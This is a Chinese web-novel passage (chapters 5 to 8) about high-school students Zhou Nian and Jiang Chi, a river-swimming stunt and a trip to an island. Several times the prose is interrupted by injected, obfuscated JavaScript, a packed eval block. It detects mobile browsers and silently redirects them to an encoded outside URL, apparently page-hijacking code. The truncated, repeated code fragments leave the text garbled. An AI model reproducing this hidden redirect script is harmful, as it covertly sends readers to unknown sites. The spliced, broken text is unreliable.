l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15107885|163973||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 给我,钱我慢慢还你。” 江池微怔一瞬,脑中又蹦出那个念头。 是她撞上来的。 双方互加微信,周念问他:“你叫什么?” “江池,江河的江,池水的池。” 说完,明知故问道:“你呢?” “周念,周礼的周,思念的念。” * 江池前脚刚走,宋佳月后脚就粘上了赵樾,她手握空酒瓶,瓶底对准赵樾的眼睛威胁道:“说,周念是谁!” 赵樾不受威胁,凌空抛了颗花生米,仰头张嘴接住,嚼了会儿戏谑道:“呦,吃醋啦?” 宋佳月腮帮子鼓鼓,泪盈盈的。 赵樾最见不得女人哭了,不耐烦道:“哎呀,我开玩笑的。周念就是个死读书的,人阿池看得上她,她也不一定看得上阿池。你就放宽心吧。” “她谁啊?她还看不上阿池了?” “不是……你是要她看的上还是看不上啊。” 这女人的心思太难猜了。 “那她好看吗?” “呃……” 赵樾仔细想了想。 “还行吧,属于文文静静那一挂的。” “那我好看还是她好看。” “你比她好看。” “我哪儿比她好看?” “……” 赵樾无语:“不是……你仙女下凡啊,谁敢跟你比呀。” “这还差不多。” 她又问:“你为什么说阿池对她上心啊。” “他说他想吓唬吓唬她。” “吓唬她?” “嗯。是吓唬她。” 江池到家,一群人还未散场。有几个喝多了瘫在沙发睡觉,剩下几个点了一桌子外卖当宵夜。 见他回来,宋佳月又过来阿池长阿池短了。 “你刚刚怎么挂我电话了呀。” 他没答,脸色倦倦的。怕他嫌自己烦,她只好把所有疑问吞进肚子。 譬如:你为什么想吓唬周念? 譬如:你想怎么吓唬她? 刚刚那顿饭江池几乎没动,此刻肚子开始发出抗议,他从茶几上捞了一串烤香菇,咬一口。 味道不错,难怪刚才周念吃了不少。 打开微信,第一条是周念通过验证的信息。她的头像是一张猫头特写,眼睛也是明亮的琥珀色。昵称是名字缩写:ZN。 此时,对面发来了转账信息。 金额显示500。 附上文字:后续会慢慢还你。 江池草草瞟了眼,没点收款,也没回复。 后来几天,周念都会转账给江池,而江池依旧不理不睬,钱被原封不动退了回来,直到有一天江池不耐烦了。 ——攒齐了给我。 再后来,微信对话一直停留在这句话上。 5. 第 5 章 高考结束,准高三生进入新的学习进程,各科老师亢奋无比,作业量也随之日益剧增。与此同时,新一轮的学科竞赛也提上日程。 银城规模小,分配到的名额自然少。一中是银城最好的高中,名额上拿了大头,但也仅限每个班一个代表。年级主任把报名表分发给各人,顺带语重心长地嘱咐。 “虽然往年的比赛中一中没有拿到过保送名额,但不能因此抱着重在参与的心态应对,万一真选上了呢。” 听着像在激励,实则都是丧气话。 目光在一众面孔中巡视一圈,主任终于在后排角落发现了周念。 “特别是你,周念,老师看好你。” 谈话结束,一群人闹闹哄哄地从主任办公书出来。周念站在走廊上正反翻动报名表,忽然左肩被人用力一撞。她抬头姜小小正对她笑。 “是周老大啊,不好意思啊,我没看到。” 语气过于耐人寻味,很难不让人怀疑这是在挑衅。 “周老大加油哦,你可是被寄予厚望的,千万别给一中丢人。不然我们左一个学神又一个学神的叫,结果连竞赛名次都没有,那说出去岂不让人笑死。” 周念目视她,缄默不语。 姜小小还想说点什么,上课铃声响了,离开前,她狠狠地剜了周念一眼,似乎是记恨那晚叶琳给她的那记巴掌。 学科竞赛是大事,周念一回来,叶琳就围着她问东问西。 “什么时候竞赛啊,你报了什么学科?有没有把握啊,是不是要集训?” 周念想告诉她赵樾和姜小小也一同参加,但想了想她和他们已经没有瓜葛,不说也罢。 上午的课程结束,班上同学如脱缰野马一心想着干饭。叶琳看着周念从书包里拿出两个白煮蛋后幽怨道:“又不去食堂?” 周念点头:“嗯。” 她一把抢过周念手中的鸡蛋。 “你这一周不是白煮蛋就是面包馒头,能不能吃点有营养的,你看你都快瘦脱相了。” “胡说。” 周念把自己的脸贴到她手边。 “你捏捏,有肉。” 叶琳顺势揉了把她的脸蛋,面露怀疑:“你是不是缺钱?大热天冰棍舍不得买一根。” 周念没答,算是印证了她的猜想。 “不对啊,你不是刚拿了奖学金吗。而且之前各种奖金加一起,得有个这个数吧。” 她伸出五个手指比了比。 “我记得你生活费也不低,周叔还会偷偷给你零花钱,怎么会不够用呢?” 她实在匪夷所思。 “你又不追星,也不爱消费,更没有不良嗜好。你花的每一分钱我都看在眼里” 周念笑笑说:“我买了很多书。” “什么书得五位数?” “一些绝版读物和正版的学科光碟,你有兴趣吗,我可以借你看看。” “我才没兴趣。” 叶琳一脸嫌弃,半信半疑道:“现在的书都那么贵吗?” “绝版的贵些。” “啧,还好我有阅读障碍,天生不适合看书。” “……” 叶琳实在不忍心看自己的亲闺蜜挨饿‘受冻’,承诺往后一个月周念的伙食费都由她承担。盛情难却周念欣然接受了叶富婆的款待。 去食堂的路上,两人被赵樾拦了下来。赵樾的态度已经不是好声好气那么简单,简直就是低声下气任打任骂。他把手搭在叶琳肩头,叶琳耸肩躲掉,他又搭,她又闪,反反复复一直如此。 “琳琳,琳琳,你听我说。” “滚。” “琳琳,你再给我一次机会吧,我这几天晚上都睡不着,一闭上眼睛就是你的样子。” “我什么样子?扇你的样子?” “琳琳!” 赵樾耐心殆尽,把叶琳拽在原地。 叶琳吃痛:“赵樾你有病?” “晚自习结束我在银江大桥等你,我会等到晚上十二点,你不来我就跳下去。” 他信誓旦旦,不像在开玩笑。 “你幼不幼稚?” 叶琳不想再跟他纠缠,放下话说。 “你要是能从银江大桥的北岸游到南岸,之前的事我就当没发生过。” 以为这样能吓退他,没想到他毫不犹豫地应了下来。 “好,晚上十点,你来,我游给你看。” “神经病。” 说完,叶琳拉着周念绕过他直径去了食堂。 一顿饭,叶琳吃得心不在焉,味同嚼蜡。赵樾这人她了解,跟她一样是个倔性子,不管是为达目的也好,为了颜面也好,他既然说了就真的会去做。 她很想征求周念的意见,又怕显得自己犹犹豫豫、瞻前顾后。更怕暴露自己对赵樾那点死灰复燃的期冀。 思来想去,她还是试探着问。 “你说我要不要……” 话未完,被周念打断,只见她夹过来一筷子芹菜。 “你最近不是口腔溃疡吗,吃点芹菜,败火。” 要问的话被生生咽了下去,她吃掉了盘中的几颗芹菜,微苦,口感也差,不知道周念怎么会喜欢吃这个。 下午自习课结束,叶琳给周念买了根雪糕降暑。她把书本敞开,在周念边上扇风献殷勤。 “小念…你说我到底要不要去?” 周念咬着雪糕,全神贯注地盯着数学卷上最后一道大题,头也不抬地回道。 “别去,你的心软会成为他拿捏你的筹码。” “有这一次就会有下一次的。” 七月的天,纵使到了晚上依旧闷热黏腻,周念在水池边掬了捧水,洗了个脸,洗完,躁意随着汗水褪去大半。刚才自习课手机震动过,很短暂,不出意外又是张宁每日耳提面命的教诲。 她取出手机扫了眼,居然是江池发来的一张照片,照片里赵樾举着伞站在银江大桥上跃跃欲试。估计是联系不上叶琳才发给了她。 江池没给她视而不见的机会,直接打来语音。 胸口起伏一阵后,周念接通语音。 “有事吗?” 江池:“装。” 周念:“……” 江池:“我知道你看到了。” 周念深呼吸,放眼远眺,路灯下是一串串雨线,银城又下雨了。 她说:“我不想看着叶琳往火坑里跳。” 对面传来极低的闷笑声,夹杂不屑和戏谑。 江池:“你跟他谈过?你知道那是火坑?” 周念:“……” “敢不敢打个赌。” “什么?” “赌你就算不跟叶琳说,她照样会过来。” 那头电话挂得干脆,是他一贯作风,既已通知,懒得多费口舌。或许是天气太过闷热,躁意卷土重来,周念把手机关机,嘀咕道:“又得重新洗一遍。” 离晚自习结束还有十分钟,大家骚动难耐,起初只是私语后来音量逐渐变大,最后变成明目张胆地交头接耳。三节自习课,叶琳如坐针毡,一会儿趴着叹气,一会儿托腮冥思,更多的时候是反复戳亮手机屏幕,计算剩下的时间。反观周念,安安静静地坐着,目光跟着题干往下走,像屏蔽在一个无声世界。 下课铃如约而至,叶琳把书本一股脑的塞进书包。一切就绪,边上的人却还在慢条斯理的叠试卷。 “小念,要不今天我先走?” 周念把试卷磨平折叠,几张拢在一起。 “一起吧,我很快。” 叶琳:“……” 回程叶琳叫了车,理由是没带伞怕雨水淋湿衣服。放学时间又逢雨天,车子来的有些慢,周念几乎是被叶琳拽进后座的。 司机回头确认:“去银江大桥?” 叶琳点头:“是的,师傅,麻烦您快点。” 说完怕周念怒其不争,立刻解释:“我其实也不想过去,主要是怕他真跳。万一有个三长两短,细究起来判我个教唆罪,那不是完了。” 她挽起周念的胳膊可怜巴巴地讨好。 “我才刚成年,你也不想眼睁睁看着你最好的朋友去坐牢对吧。” 周念抿唇不语,那个还未约定的赌注,江池赢了。 到达银江大桥时距离十点还有五分钟。两人四下张望,不见人影。昏黄路灯下,无数个水波在江面晕开,场面出奇意外的安静。 就在叶琳怀疑自己被捉弄时,桥底有个声音呼唤她的名字。 “琳琳,我在这儿。” 赵樾正站桥底河岸上冲她挥手。 “你疯啦!” 叶琳大骂一声,不管不顾地跑向岸边。 周念 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15107886|163973||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 跟着后头不停提醒:“琳琳,你慢点,地上都是湿的,小心路滑。” 眼看着叶琳越来越近,少年的笑容肆意张扬,充满自信。 “我就知道你会来。” 银江表面平平缓缓,实则暗流涌动,每年都有人会因为在此野泳而丧命。叶琳深知其中凶险,深怕他一个不小心就会失足落水。 “你快过来,别掉下去了。” 赵樾站在原地,快速蹭掉脚上的鞋。 “你刚才是不是说我要从北岸游到南岸,你就原谅我,再给我一次机会?” 你tm来真的?! 叶琳都快急哭了。 “你别开玩笑了行吗?会出人命的,我求你了,你回来。” “你在那头等我,我很快。” 赵樾边说边脱上衣,下一秒,双腿一蹬潜入水中。 “啊!” 叶琳一声尖叫,腿都吓软了。 浩浩银江,南北岸足有百米宽,赵樾的身影在水面上下起伏。叶琳耳际还留有他的话:你在那头等我,于是她又折返上桥。 他在水里游,她在岸上追。 叶琳心中只有一个念头。 赵樾敢死你就完了! 周念留在低岸,眼睁睁看着当初说要‘绝情绝爱’的叶琳奔向对岸,她不明白爱与憎分明是两种感情,怎么会同时产生在同一个人身上。 她在细密的雨中丧丧地吁了口气,打算过去看看情况,刚要启步手腕被人倏然拉住。 “你去凑什么热闹?” 声音很熟悉,周念身形一怔,回头看去。刚刚注意力一直在赵樾身上,根本没看见隐匿在黑暗中的江池。 她不适地挣了下手,江池会意松手。 此时,江中人影已渐行渐远,逐渐变成一个移动的小点,在无尽夜色中踽踽独行。 片刻功夫,江池嘴里已经衔上未点的烟,他左手支伞,右手拨弄打火机,周念觉得他好像永远是这副散漫的姿态。她忍不住问:“他这样很危险,你不阻止吗?” 江池眯着眼确认赵樾安全游到对岸后,他才点火,江风太大,那簇火苗稍纵即逝。他把伞递到周念面前,示意她拿着。 “他是成年人,自己的选择自己承担。我何必去干涉别人的感情问题。” 他在暗指她多管闲事。周念懒得为此争辩,犹豫了两秒秒后走进伞底。 “谢谢。” 闻言,江池莫名笑出了声。 “靠近点。” 周念:“?” “帮我挡着点风。” “……” 他果然没那么好心。周念“哦”了声,乖乖照做,她靠很近,近到江池双膝能感受到与她的摩擦,那种微弱的,若有似无的触感,像夏日里很细腻的风,挠得人心痒痒的。 恍惚一秒,江池点火。 打火机蹭出火苗,描摹出他的侧脸,当时,夜风拂过他头顶的发梢,深幽的蓝和柔软的黄在他脸上分割明暗,他垂着眸,紧盯火苗,似有精灵在他眼里舞动。 周念就这样静静地注视着这张脸,直到江池的眼睛也看向她。 “看什么?” 周念撇开眼:“没有。” 江池侧头吐了口烟,烟尽时周念隐约听到他轻轻地哼了声。 天色太黑,看不清对岸的情况。周念猜想这会儿他们应该相拥而泣,彼此承诺着虚无缥缈的誓言,想到这,她竟觉得有些恶心。 点完烟,江池从周念手上取走伞,他个头高,伞到他手上空间就没那么局促了。 他望向北岸,有点得意:“认输了?” “我没跟你赌。” “是不敢赌,因为你比我更清楚她会来。” “既然你料想到她会来,又何必多此一举的给我发照片呢?” 她停顿半秒,鬼使神差地问道:“你是不是不太喜欢我?” 江池下意识地看向她,她的眼里倒映着猩红的火点,一闪一闪泛着光的。他讨厌她吗?好像没有,对她所有的逗弄,嫌厌无非都是因为张宁。 他举起烟,一吞一吐,语气一贯的漫不经心。 “没有。” “那就好。” 不知道是不是错觉,她这句话居然透着极淡的庆幸和喜悦。他意味深长地笑笑。 “走吧,过去看看。” 6. 第 6 章 赵樾与叶琳和好如初,除了上课时间只要在学校两个人就会黏在一起如胶似漆。这几天江池一行人每每见他,他都满面春风,神采奕奕。 这天大伙约定周末去小鸟岛放风,赵樾说自己会带上叶琳。大家起哄让他请客,他倒大方拍拍胸脯保证让大家吃好喝好。 “我们这儿女生太少了,一帮大老爷们有什么意思。” 横竖不是自己掏钱,徐明觉得当然是妹子越多越好。 “怎么?我不是妹子?” 宋佳月是这群人中唯一的漂亮姑娘,很多时候她都能享受到众星捧月的感觉。于她而言,多一个女生就意为着少一分优待。 “你天天围着阿池转,有我们什么事儿?” 被徐明点破,宋佳月讪讪地嚷了声:“我没有啊。” “对了。”赵樾似乎想到什么,挨近沙发一角的江池,邀功似得笑笑:“我帮你约了周念。” “帮我?” 江池琢磨不透这两字的深层意思,他不知道当初自己口中‘吓唬’二字早就被赵樾曲解出另一层含义。 “不过只是发出了邀请,她肯不肯来就不好说了。” 赵樾一副‘别说兄弟不帮你’的表情。 “她这人很难约的,叶琳约她逛街都得提前三天打报告。” 另一头,叶琳对周念软磨硬泡了整整三天,临了周念还是无动于衷,她现在分身乏术,复习和竞赛已用去她绝大部分时间,挤不出再多的空闲去消遣。更何况那是两天一夜的上岛旅行。 周五晚上,叶琳继续用微信炮轰周念。 ——这周六阿姨晚班,你是自由的。 张宁的排班表她比谁都记得清楚,言简意赅地撇去了本次行动最大的阻碍。 周念关掉手机铃声,把它扔进抽屉,与其无谓拉扯不如睡之前一并回绝。她看书很投入,加上本身逻辑清晰,知识储备丰富,用了一个晚上就把两天的作业全部完成。 她再次拿出填写完的竞赛报名表,反复查看,深怕出现纰漏。这个机会对她而言很重要。如果幸运通过预赛联赛成功拿到名次,提前锁定首府大学,那就意味着她可以尽早离开银城。 她几乎忘了,逃离银城这个念头是什么时候扎根在她心里。 洗漱完毕,周念坐回书桌前,她从书架角落拿出一个标有vc字样的白色小罐,里面的丸状药剂已经见底。她又从书包间隔的黑色塑料袋里取出相同形状的药,把他们混在白色罐子里。从中取出一颗,就着温水一饮而尽。 再次拿出手机时,微信未读标注成三位数,除去叶琳那两百多条表情包还剩下两条是江池的。 第一条是两个小时前发的,一张海岛的图片,小岛,礁石,灯塔,渔船,飞鸟和被填满的湛蓝。 第二条是一个问号,发送时间是十分钟前。这个问号显然就是对被冷落的不满。她能想到江池不耐烦时的那张臭脸。 周念发了两字。 ——好看。 江池第一时间回了信息。 明早八点半,七港码头。 这回轮到周念发问号了,五分钟一个问号,三个问号都没有下文。安眠药开始起效,她没耐心去候一个解释,回复说:我就不去了,玩得开心。 一夜无梦,周念醒的很早,窗外天光乍现。江池是昨晚三点回的信息,内容很简单:随你。 叶琳在临近八点时给周念发了微信,试图做最后努力。 ——真不去吗?舍得我孤单寂寞吗? 周念看着屏幕被她戏精上身的文字逗笑。 ——你在哪儿? ——老天,你是打算去吗? ——嗯,我在七港码头候船厅。 ——等我,我马上来。 一伙儿人在集合点汇合后登船,少男少女兴致很高,有说有笑。周念与他们不太熟,自然而然地落在后头,她的身后还有江池。 江池对于她的到来没表现出半点意外,更像是他笃定的结果。 “不是说不来吗?” 他弯着唇,眉眼中带着调笑意味。 “陪叶琳来的。” 她面色很平静,一时分不清真假。 他淡淡地‘哦’了声,不知信没信,他说:“听说你很难约。” “不难。” 她顿了顿,纠正道:“是很少有人约。” 她自小性格内敛很少主动结交朋友,纵使有人主动示好,不出两天也会因为张宁的过度干涉而分道扬镳。长此以往,仅有的几个朋友也不再联系。当然也有例外,比如叶琳这种死猪不怕开水烫的。 从码头到小鸟岛需要坐两个小时的轮渡,这般渡船的规模较小,风浪一来晃的厉害。周念架不住这般折腾,驶出码头不到半小时,脸色苍白一片。 叶琳看她脸色难看有点后悔逼她上岛。 “都是我不好,非要你来。” 周念靠在叶琳肩头难受得说不上话,摆了摆手表示不是她的错。叶琳将她肩膀扶正说:“你等等,我去买点酸梅,他们说吃了酸梅肚子会舒服很多。” 此时,宋佳月正在船上分发事先准备好的晕船药,她把两颗药递到江池面前。 “阿池,需要吗?” 赵樾就爱找她乐子。 “阿池就是岛上来的,你说他需要吗?” 宋佳月飞给他一个白眼。 “就你知道,就你话多。” 赵樾贱嗖嗖地吐吐舌:“对,就我话多,就我知道。” 宋佳月懒得跟他扯皮,刚想将手伸回去就被江池叫住。 “等等。” “我就说他需要吧。”· 宋佳月对着赵樾做了个洋洋得意的小表情,转头问江池。 “两颗够吗?” 江池看向远处前排的周念,给宋佳月试了个眼色。 “给她送两颗过去。” 宋佳月朝那头看了眼,不明所以道:“谁?” 江池:“周念。” 宋佳月的脸以肉眼可见的速度挂了下来,连看江池都带着三分怨气。 “借我的花献你的佛?你那么体贴怎么不自己准备点药啊,没有!” 江池:“……” 宋佳月原地生了三分钟闷气,三分后,攥着晕船药来到前排。当时,周念正闭目养神。她仔细地打量起她,正如赵樾所说,长得还行,五官比较小巧,不算多精致但胜在干净耐看。 她看得出神,谁想,下一秒,周念醒了,视线毫无预兆的撞在一起。 宋佳月顿时僵住。 周念微微歪着脑袋:“有事吗?” 也不知哪根筋抽了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15107887|163973||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,她竟拉起她的手,拽开她的手心把药塞了进去。 “吃吧,吃了就不晕了。” 周念接过药对她莞尔一笑:“谢谢你。” 宋佳月:“……” 小鸟岛是个半开发的小岛,游客不多。酷暑当头,路上几乎看不到人。岛上没有出租车,一行人就站在游客中心等人安排。 不知谁说了句:“今晚住哪儿啊?” 原来大家一直没商量好怎么个行程安排,有几个还不知怎么回事儿就傻傻的跟来了。周念就是其一,听人聊起才知道今天住宿还没着落。 赵樾:“今晚住阿池老家。” 他一开口,所有人来了兴致。 “阿池不是银城本地人吗?” “原来阿池家在小鸟岛?” “真的假的,怎么不早说,大家都是空手来的。” “岛上总有超市吧,一会儿去买点就行。” 此时东道主江池正在边上打电话。十分钟后,两辆小轿车缓缓驶入视野。 路上大家对江池的老家都抱有一定幻想,有记忆以来,江池就是一群人里出手最阔绰的一个。如有人遇到点事找他借钱,他二话不说直接转帐。这样的人是必含着金钥匙出生,那么所谓的老家不说占地几亩,起码也应该是富丽堂皇的。 然而现实和想象还是有出入的。 小鸟岛上皆是石厝古民居,江池的家也不例外,三层高的灰褐色房体上铺盖着亮色瓦片,每一片瓦上都顶着一块砖头大的岩石用以防风。二楼有个偌大的露台,夏日纳凉,冬日观雪。 周念扫了眼大门,门上和缝隙都落了很厚重的灰,应该很久没人住了。 这个猜测很快被江池证实,他从口袋取出钥匙,边开门边说:“紧张什么,里面没人。” 于是一群空手而来的少年瞬间松了口气:“那就好。” 临海的房子都有一个通病就是潮湿,江池家面朝大海,潮湿程度可想而知。所以门一开,湿潮霉腐气息扑面而来。 赵樾有鼻炎,一连打了七八个喷嚏。 “哎呦我去,这多久没住人了。” 江池不咸不淡地说道:“三个月,之前我奶奶住。” “那奶奶人呢?” “死了。” “……” 叶琳嫌赵樾心直口快没脑子,暗地里给了他一脚,示意他少说点废话。 此行一共八个人,五男三女,虽然人不多,但能住人的房间更少。于是大家商议整理出两个房间,男生一个,女生一个,权当是睡大通铺了。 大家扫地的扫地,铺床的铺床,分工明确谁也没闲着。周念还没从晕船的不适中缓过来,她手脚很慢但也强撑到了最后。 舟车劳顿加上体力劳动,一上午下来,几个人都饿得前胸贴后背。大家决定先去边上的饭店对付一口,下午包船出海捕鱼,晚上吃海鲜烧烤配火锅。 周念听到‘出海’二字心里哆嗦了下,说自己不太舒服就留在家里看家,怕叶琳因为自己玩得不尽兴又交代她只管玩就是了,她留下来叽叽喳喳只会吵到自己休息。 离开前,江池扔了把钥匙进门。 “我的房门钥匙,二楼第一间。” 周念一头雾水。 只听他说。 “床比地上舒服。” 7. 第 7 章 一行人是在太阳落山之前赶回来的,这次出海收获颇丰,海鱼,海虾,螃蟹,各个块头肥硕,肉眼可见的鲜活。叶琳特意把自己海钓回来的三瓜两枣装进一个塑料袋,打算回到住处后给周念一一科普,再单独下一锅爱心套餐。可惜这几条鱼最终也没活着回到住所。 江池家的设备很齐全,烧烤架,火锅,炉子,碗碟,该有的都有。但烧烤火锅配备的食材和调料还有欠缺。于是大家分成两拨,一波去市场买食材,另一波呆在家里处理海鲜。 回来的路上宋佳月碰到一个卖水果的奶奶,这个年纪的姑娘多的是悲天悯人的同情心,于是她就买了整整五斤芒果。她把芒果洗净切块,见人就分享。 分了一圈想起楼上还有个‘病秧子’,要不要给她送点上去?宋佳月踌躇片刻,一脚迈上楼梯。 “她不吃。” “啊?” 江池点了点她碟中的芒果。 “她芒果过敏。” “呦,你还挺了解啊。” 宋佳月咬咬牙,退步回来,又忍不住阴阳怪气。 “你跟她一个工厂加工的呀,出厂配置都一样,芒果过敏?” 江池懒得跟她争,从烟盒里抖了根烟,自顾自走出了门。 周念这一觉睡的很沉,手机不停的震都没把她震醒,她在梦里隐约听到敲门声才醒的。原来是叶琳给她电话一直没反应,放心不下才上来看看。 叶琳惯性地把手抵住周念前额量体温。 “你好点没?还难过吗?” “……” 周念无语:“我是晕船不是发烧。” 叶琳俏皮地吐下舌头:“看我,钓鱼钓糊涂了。” “我刚刚钓了很多鱼,其中有一条有那么大。”她两手夸张地比划了一下,又惋惜的叹气:“可惜这货中看不中用,一上岸就死了。” 两个人聊了会儿准备下楼帮忙,还没走两步,叶琳突然刹住脚。 “对了,你芒果过敏吗?” “嗯?” “我刚刚听江池说你芒果过敏。我怎么记得你好像吃过芒果。” 周念摇头。 “你记错了吧,我向来不吃芒果的。” “我记错了?” 叶琳自顾自低喃,恍惚间又想到什么:“不对,江池怎么知道你芒果过敏?” 一下楼,叶琳这个磁铁南极就撞上了赵樾这个磁铁北极,两人一对眼自然而然地走到了一起,打情骂俏从不避着旁人。周念长吁一口气,只能找点事打发时间。 她从角落找了个小马扎,坐在水池旁处理螃蟹的徐明身边。 “徐明,我能帮忙做点什么吗?” 徐明全身心得投入到杀蟹事业中,察觉旁边突然多了个人,他倏地一惊,发现是周念叫他时,多少有点受宠若惊。 “周老大?你还记得我的名字啊。” 周念点了头:“我们高一一个班,怎么会不记得。” 徐明憨笑着摸了摸后脑,从池子里捡起一只螃蟹说:“一会儿我把螃蟹杀了,你就负责把腮剪掉,冲洗干净就行。” “好。” 两个人配合的还算默契,一大盆螃蟹,没一会儿就处理干净。周念打算把处理完的螃蟹重新冲洗一遍,这时,她发现边上的人似乎有意无意地往她这边凑近。 徐明鬼鬼祟祟地四下一扫,确定江池不在附近,才敢开口。 “周老大,我们阿池怎么样?” 周念用表情回他一个问号。 “嗯?” “帅不?” 徐明面上挂着小得瑟,像‘帅的’那个人是他似的。 周念笑了笑,像在思考。 “会有人说他不帅吗?” “啧啧啧。” 徐明一脸佩服。 “文化人就是会说话。” 他还想继续,周念忽然问道:“江池……和他妈妈关系不好吗?” 徐明下意识地看了看附近,确认没人后反问道:“你怎么突然这么问?” “我刚刚在他房间里看到他小时候的照片。但是照片只有半张,是他和他父亲,他的母亲像被撕掉了。所以……” “唉。” 徐明很明显地叹了口气,解释说:“关于阿池的母亲……他不让我们提。” 周念跟着可惜地无声叹气,接着问道:“那……我也不行吗?” 徐明:“嗯?” 周念:“我的意思是,你刚刚不是问我江池怎么样吗?我觉得他很好,我想更了解他一点。所以……那些关于他不能说的‘秘密’,我也不能知道吗?” 她说话的时候眼眸很亮,像迷失在林中动物的诚恳求助。徐明哪受得了被这样盯着,态度一变。 “你当然不一样啦,谁叫我们阿池对你……” 他及时住嘴,心说,谁叫阿池手机里都是你的照片。 他放低了声,用只有周念才能听得到的分贝说。 “阿池的父母离婚了。” “就因为这个?” “当然不是。” “普通离婚当然不会那么恨。只是……” 徐明欲言又止后看向周念的眼睛,试图用为难的表情让对方自动放弃追问。但周念这个‘死读书’的像根本读不懂他的模棱两可,反而是一脸疑惑的神情,让他继续。 “哎呀,那我告诉你,你可别去找阿池问。” “我又不傻。” “……” “其实确切地说是准备离婚没离成。大概是阿池刚上初一的时候吧,那天我和阿樾在他家的别墅里玩,电脑打得开心呢就听到楼下有人在吵架。于是我们三个人就开了门缝偷看。吵架的是阿池的父母,也不知道发生了什么,就看到江伯伯跪在傅老师面前。” 他顿了顿,想解释一下傅老师就是江池的母亲傅妍,因为她在银城一中教美术所以大家都习惯叫她傅老师。但周念没问,他也就不解释了。 “傅老师就坐在沙发上,脸上一点表情都没有,不伤心,不难过,就凉凉的。那会儿阿池才多大啊,还没发育呢,听到父母要离婚都吓坏了。马上冲下楼抱住傅老师求她别离婚。但是傅老师好像铁了心似得,说除非她死了,不然怎么也得离婚。阿池大概也是没则了,跪在地上不停的磕头问她是不是自己做错了什么,他改就是了,希望傅老师不要离婚。” 周念眉头微皱:“后来呢,没离成?” “嗯。” 徐明叹息声樾发重了。 “后来江伯伯不愿意离婚,傅老师就请了律师打官司。还没开庭呢,江伯伯就淹死了。” 说完,他指着前方一片礁石海说道。 “就在那儿。” 周念顺着他指的方向看去,此时夕阳已经沉入海平线,天空和海依然橙红一片,海水起伏在礁石上撞出激浪。 她说:“所以……他会去游泳馆当志愿者?” 徐明有点惊讶:“这你也知道?” 徐明把洗净的海鲜用盘子摞好后不放心地交代道:“周老大,姑奶奶,今天我说的事情一定要保密,别人都不知道的。” 周念很肯定地点了点头:“我会的。” 海鲜准备就绪,只等另一伙人带调料回来。周念沿着海百无聊赖地往前走,不知不觉就走到了那片礁石海。这里的海水远比远看时急,退潮后裸露出来的礁体被冲刷得很光滑,如果不小心掉下去,势必凶多吉少。可似乎海边的孩子永远那么自信,觉得自己生来就驾驭在海水之上,三三两两提着桶赤着小脚在礁石上挖海货。 “上来!” 突如其来的一声喊,没镇住石头上的几个孩子,倒是让周念的心陡然一提。她回头看,发现江池一脸严肃的往 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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调个酱料的事儿,三番四次拒绝就显矫情了。周念想了想说:“麻酱有吗?” “你也爱吃麻酱?” 赵樾惊讶地提了分贝,盖过了整个露台上的声音。或许是过于突兀,所有人纷纷看了过来,其中也包括江池。 周念不明所以地‘嗯?’了声。 “缘分了不是。” 赵樾指了指边上了江池。 “我们这儿就阿池爱吃麻酱,你说巧不巧?” 当时江池正站在烧烤架旁,一手夹着点燃的烟,另一只手很随意地翻动着烤盘,大约是提到了自己他不紧不慢的吐了口烟淡淡的回应道。 “巧吗?那我去北方是不是人人都跟我有缘?” 宋佳月连忙附和:“就是,全国至少也得几亿人吃麻酱呢。” 你有病吧,我在给你牵线搭桥你看不出来啊? 赵樾使劲给他使眼色,江池这货低着头眼皮子都懒得抬一下。 对于看似急于撇清关系的说词,周念倒是没觉得尴尬,只是又顺口问了句:“麻酱没有吗?” 赵樾:“当然有咯,你要怎么调?” 周念:“加点糖加点醋。” “嚯!” 赵樾的语气像发现了什么惊天大秘密。 “我说什么来着!是不是缘分!几亿人吃麻酱,有几个人口味那么奇葩喜欢麻酱加白糖和醋吃。刚好你俩就是。” 他硬要江池表态:“阿池,你就说是不是有缘?” 这回,江池无话可说,只是很浅地扯了下唇角。他看向周念,巧的是她也在看他。当时露台的光线不算明亮,但是隐约中他觉得她的眼神不算清白。 8. 第 8 章 一行人酒足饭饱已经是下半夜,明明困意十足,但大家似乎舍不得就此结束。有人提议去海边放烟火,无人反对,放烟火就顺理成章地成为后半夜的活动。 周念兴致不高,她扯了扯叶琳的衣角,轻声说:“你去玩吧,我就不去了。” 叶琳瘪着嘴,一脸扫兴。 “去呗,难得的,而且你不是挺喜欢看烟花的嘛。去年烟火大会你还说紫色烟花挺好看的。” 周念为难:“我得看会儿书了。” “看书?” 叶琳觉得诧异又好笑,回过味来又觉得这话出自周念口中也就不奇怪了。 无语的不止叶琳还有不远处的江池,他哼笑一声,不轻不重正好周念也能听到。 她眉头微拧偏头去看‘嘲笑声’的源头,江池好整以暇回看过去,没有半点被人发现后的尴尬和歉意。 